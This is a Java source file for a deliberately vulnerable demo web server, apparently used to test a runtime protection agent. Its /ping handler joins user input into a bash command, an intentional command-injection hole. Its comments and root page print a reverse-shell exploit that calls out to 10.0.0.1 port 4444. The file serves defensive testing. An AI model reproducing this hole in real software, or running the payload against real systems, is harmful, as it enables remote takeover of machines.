VulnerableServer.java

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpServer;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Map;

/**
 * A DELIBERATELY VULNERABLE demo web app — for testing RuntimeReaper only.
 * Never expose this to a real network.
 *
 * It contains a textbook OS command-injection flaw: it concatenates a
 * user-supplied query parameter straight into a shell command.
 *
 * Build & run:
 *   javac -d out examples/demo/VulnerableServer.java
 *   java -cp out VulnerableServer                       # protected (agent auto-attached via JAVA_TOOL_OPTIONS)
 *   java -javaagent:target/runtime-reaper-1.0.0.jar -cp out VulnerableServer   # explicit
 *
 * Attack (from BurpSuite Repeater, or curl):
 *   Benign : GET /ping?host=127.0.0.1
 *   Exploit: GET /ping?host=127.0.0.1;%20bash%20-i%20%3E%26%20/dev/tcp/10.0.0.1/4444%200%3E%261
 *
 * Without the agent the exploit's shell payload runs. With RuntimeReaper it is
 * blocked (SecurityException) and a red alert is printed to this console.
 */
public class VulnerableServer {

    public static void main(String[] args) throws IOException {
        int port = args.length > 0 ? Integer.parseInt(args[0]) : 8080;
        // Bind to loopback ONLY — this is intentionally vulnerable and must never
        // be reachable from the network.
        HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", port), 0);

        server.createContext("/ping", VulnerableServer::handlePing);
        server.createContext("/", ex -> respond(ex, 200,
                "RuntimeReaper demo target.\n" +
                "Try:  GET /ping?host=127.0.0.1\n" +
                "Exploit: GET /ping?host=127.0.0.1; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"));

        server.setExecutor(null);
        server.start();
        System.out.println("[demo] Vulnerable server listening on http://localhost:" + port);
        System.out.println("[demo] Point BurpSuite's browser/proxy at it and hit /ping?host=...");
    }

    private static void handlePing(HttpExchange ex) throws IOException {
        String host = param(ex.getRequestURI().getRawQuery(), "host");
        if (host == null || host.isEmpty()) {
            respond(ex, 400, "missing 'host' parameter\n");
            return;
        }

        // ---- THE VULNERABILITY: user input concatenated into a shell command ----
        String command = "ping -c 1 " + host;
        System.out.println("[demo] executing: " + command);

        try {
            Process p = new ProcessBuilder("bash", "-c", command)
                    .redirectErrorStream(true).start();
            String output = new String(p.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
            p.waitFor();
            respond(ex, 200, output);
        } catch (SecurityException se) {
            // RuntimeReaper blocked the exploit before any process was created.
            System.out.println("[demo] request blocked by RuntimeReaper: " + se.getMessage());
            respond(ex, 403, "Blocked by RuntimeReaper RASP: " + se.getMessage() + "\n");
        } catch (Exception e) {
            respond(ex, 500, "error: " + e + "\n");
        }
    }

    private static String param(String rawQuery, String key) {
        if (rawQuery == null) {
            return null;
        }
        for (String pair : rawQuery.split("&")) {
            int i = pair.indexOf('=');
            if (i > 0 && pair.substring(0, i).equals(key)) {
                return URLDecoder.decode(pair.substring(i + 1), StandardCharsets.UTF_8);
            }
        }
        return null;
    }

    private static void respond(HttpExchange ex, int status, String body) throws IOException {
        byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
        ex.sendResponseHeaders(status, bytes.length);
        try (OutputStream os = ex.getResponseBody()) {
            os.write(bytes);
        }
    }
}